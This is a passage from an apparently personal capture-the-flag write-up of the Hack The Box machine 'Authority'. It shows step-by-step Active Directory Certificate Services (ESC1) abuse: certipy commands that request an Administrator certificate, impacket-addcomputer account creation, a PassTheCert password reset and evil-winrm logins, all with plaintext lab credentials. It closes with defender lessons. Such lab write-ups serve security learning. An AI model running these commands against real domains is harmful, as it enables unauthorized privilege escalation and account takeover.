Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11
Key: Sun RSA public key, 2048 bits
params: null
modulus:
[...omitted...] ..
[3]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=false
AuthorityInfoAccess [
[
accessMethod: caIssuers
accessLocation: URIName: ldap:///CN=htb-AUTHORITY-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=htb,DC=corp?cACertificate?base?objectClass=certificationAuthority
]
]
[...omitted...]
[6]: ObjectId: 2.5.29.37 Criticality=false
ExtendedKeyUsages [
1.3.6.1.5.2.3.5
1.3.6.1.4.1.311.20.2.2
serverAuth
clientAuth
]
[7]: ObjectId: 2.5.29.15 Criticality=true
KeyUsage [
DigitalSignature
Key_Encipherment
]
[8]: ObjectId: 2.5.29.17 Criticality=true
SubjectAlternativeName [
Other-Name: Unrecognized ObjectIdentifier: 1.3.6.1.4.1.311.20.2.3
DNSName: authority.htb.corp
DNSName: htb.corp
DNSName: HTB
]
[...omitted...]
]
2022-08-10T21:27:13Z, DEBUG, secure.X509Utils, ServerCertReader: process completed
Further down the log, there are a bunch of complaints and errors about a bad certificate, for example:
This got me wondering if maybe there was some way to use a bad certificate for privesc.
The Certificate Signing Request
Hours later and after much research, I discovered that there are several well-known privesc techniques that revolve around abusing certificates involved in Active Directory (especially in Enterprise environments). I found a very well-written article about these techniques, a Hacktricks page that references that other article often, and a few important tools for investigating this class of vulnerability:
- Certify : For replacing the built-in Windows GUI tools for requesting certificates from the AD-CS. Also finds vulnerabilities in AD-CS.
- Ex.
Certify.exe find /clientauth
will query certificate templates that provide the ClientAuth EKU.
- Ex.
- Rubeus : A counterpart to Certify for interacting with Kerberos (usually for using forged certs to authenticate)
- certipy : An “offensive tool for enumerating and abusing Active Directory Certificate Services”.
- The github repo’s description links to the article I referred to in the previous paragraph.
- BloodHound : For linking together a chain of vulnerabilities between different pieces involved in Active Directory (and certificate requesting / signing)
Following the steps outlined on the Hacktricks page, I decided to start with certipy
. I’ll check if there are any vulnerable certificate templates. From my attacker box I ran the following:
certipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip $RADDR
This took a little bit of time, then generated three files: one json
, one txt
and one zip
. To see the output, I checked the txt
file:
🤑 Wow, that worked like a charm! The tool found 36 templates, and showed that one of them was vulnerable - it even says which vulnerability was found! Here, “ESC1” refers to the type of certificate vulnerability as originally described by that article that everyone keeps referencing.
In short, this ESC1 vulnerability means that there is a template that permits Client Authentication in the cert’s Extended Key Usage (EKU), and that in a Certificate Signing Request (CSR) we are able to specify our own Subject Alternate Name (SAN). This should be usable to request a certificate for an arbitrary user 🤞
Quick side-note: I found something very juicy inside the PWM log file
Not only is there a password (near the bottom) but also a version number for PWM: v2.0.3 (top line)
Having confirmation that the template introduces the ESC1 vulnerability, I next tried to request the certificate:
certipy req -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -ca 'AUTHORITY-CA' -target-ip $RADDR -template 'CorpVPN' -upn 'Administrator@authority.htb'
The result was an error message:
Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
🤔 Ok, that makes a bit of sense. After all, the certipy find
command showed the vulnerability:
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
So the problem might be that I’m trying to request a certificate as svc_ldap
but that user is not permitted to do so. Maybe I’ll try using certipy
to generate a new user, then try making the certificate request originate from that user instead?
certipy account create -user Jimbo -username svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -upn Administrator -scheme ldaps -dc-ip $RADDR -debug
Certipy
automatically generated a password. The new credential is Jimbo : JfiriHHtb53aiDMT. However, when I check net users
via the evil-winrm shell, the new Jimbo user does not appear - this makes me think that adding the user probably was not actually successful.
At the suggestion of a very helpful HTB user, @mark94, I’ll try using impacket-addcomputer
instead.
impacket-addcomputer -computer-name BOSSCOMPUTER1 -computer-pass password123 -method LDAPS -port 636 -dc-ip $RADDR 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
That command reported success. I moved on to re-try the certipy req
. At first, it did not work:
No real statement about the error; just a line instructing to use -debug
- so I did:
certipy req -u 'BOSSCOMPUTER1$' -p 'password123' -ca 'AUTHORITY-CA' -target-ip $RADDR -template 'CorpVPN' -upn 'Administrator' -debug
Wait, what? Did that actually work?
Using the Certificate
It definitely did produce a certificate: administrator.pfx
. I’ll try using it to log in. Still loosely following the instructions from the Hacktricks page, I’ll try to use certipy
to authenticate:
certipy auth -pfx 'administrator.pfx' -username 'Administrator' -domain 'authority.htb' -dc-ip $RADDR
I guess the intended result of that command is that I’d be granted a a ticket-granting-ticket (TGT) from Kerberos. Unfortunately, it did not work. Instead, I looked up how I can use WinRM to login using just the certificate for authentication (much like using ssh -i <privatekey>
). Shown in this article, it looks like the proper syntax is this:
evil-winrm -S -i 10.10.10.103 -u amanda -p Ashare1972 -c certnew.cer -k private.key
Ah ok, so expects the certificate to be in the form of a .cer
certificate file and a .key
private key file. No problem, thankfully certipy
has a function for exactly this:
certipy cert -pfx 'administrator.pfx'
Shown below, that command outputs both the .cer
portion and the .key
portion to stdout.
To separate them, I simply copy-pasted the two components into two separate files administrator.cer
and administrator.key
.
With that handled, I’ll try logging in using WinRM… But unfortunately it seems that the password field is required even if a key is provided. Just in case, I tried it with a fake password
evil-winrm -S -c administrator.cer -k administrator.key -i $RADDR -u Administrator -p unknown
Unsurprisingly, it did not work.
Rubeus seems like it is able to provided a TGT based only on the certificate and private key. But since it is only in C# and I would need to compile the code myself, I kept looking a for an alternative idea…
💡 We have a private key and a certificate - you’d think it would be possible to assign a new password to the account the at the certificate is for, right? If I knew the password, I could proceed with the original plan and simply log in using evil-winrm. After much reading, I finally found an article talking about doing exactly that. They make reference to a tool called PassTheCert, which has a python implementation - let’s give that a go!
python3 ~/Tools/WINDOWS/passthecert.py -new-pass adminpassword -dc-ip $RADDR -crt administrator.cer -key administrator.key -domain authority.htb
That seems like a good sign 😅 Let’s try Evil-WinRM with the new credential: Administrator : adminpassword
😿 Not successful. At least I know it was an Authorization Error. Thankfully, it looks like PassTheCert.py has another similar function for resetting passwords, using the modify_user
action.
python3 ~/Tools/WINDOWS/passthecert.py -action modify_user -dc-ip $RADDR -crt administrator.cer -key administrator.key -domain authority.htb -target Administrator -new-pass
Ok, so it’s saying the new credential is Administrator : V7kn2XDRyH11HCdo8fkeyr2UNc9dSucQ. Let’s try Evil-WinRM once again:
😁 YES!!! IT FINALLY WORKED! I am absolutely overjoyed to be done this box. I hope I don’t have to touch Windows for a long time.
Simply read the flag and leave this godforsaken operating system as fast as you can:
type root.txt
LESSONS LEARNED
Attacker
- Port scans can’t be too fast. Using too aggressive of timing settings will lead to some ports falsely appearing. In my workflow, that means that
- Keep hints in mind. Sometimes, the box creator will leave little fairly large hints out in the open. In my experience, these tend to be very helpful. The best example is from this box is the “PWM is in configuration mode” dialog that appeared. Hints like this can be useful for focusing your search when attack surface seems too broad to approach smartly.
- Research, research, research. Knowing about vulnerabilities like the improper configuration of Active Directory Certificate Signing is absolutely invaluable if you plan on exploiting it. Also, instead of identifying a vulnerability and diving into an attempt to exploit it, doing a little extra research can save time: it helps point out useful tools that others have made, and sometimes even PoC code to get you started.
- Consider a post-exploitation framework. Several tools could have helped me perform enumeration and identify the AD-CS vulnerabilities faster. They can also help keep notes more succinct.
Defender
Encryption guarding admin secrets should be especially strong. The Ansible Vault was too easily cracked.
Remove development systems from production. There was no reason that PWM should have been accessible at all, since it wasn’t yet fully configured. But along the same lines, the feature for testing the PWM was the key to gaining foothold. This should have simply been removed.
Using a password manager is a great start, but better yet, just use an SSO service. Having separation between your servers and your auth system helps create a gap: if one becomes compromised, at least it wasn’t both.
Stay on top of threat intelligence. Don’t just rely on software updates and patches - the vendor won’t always be willing to fix the problem: this was the case with the AD-CS vulnerability on this box.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake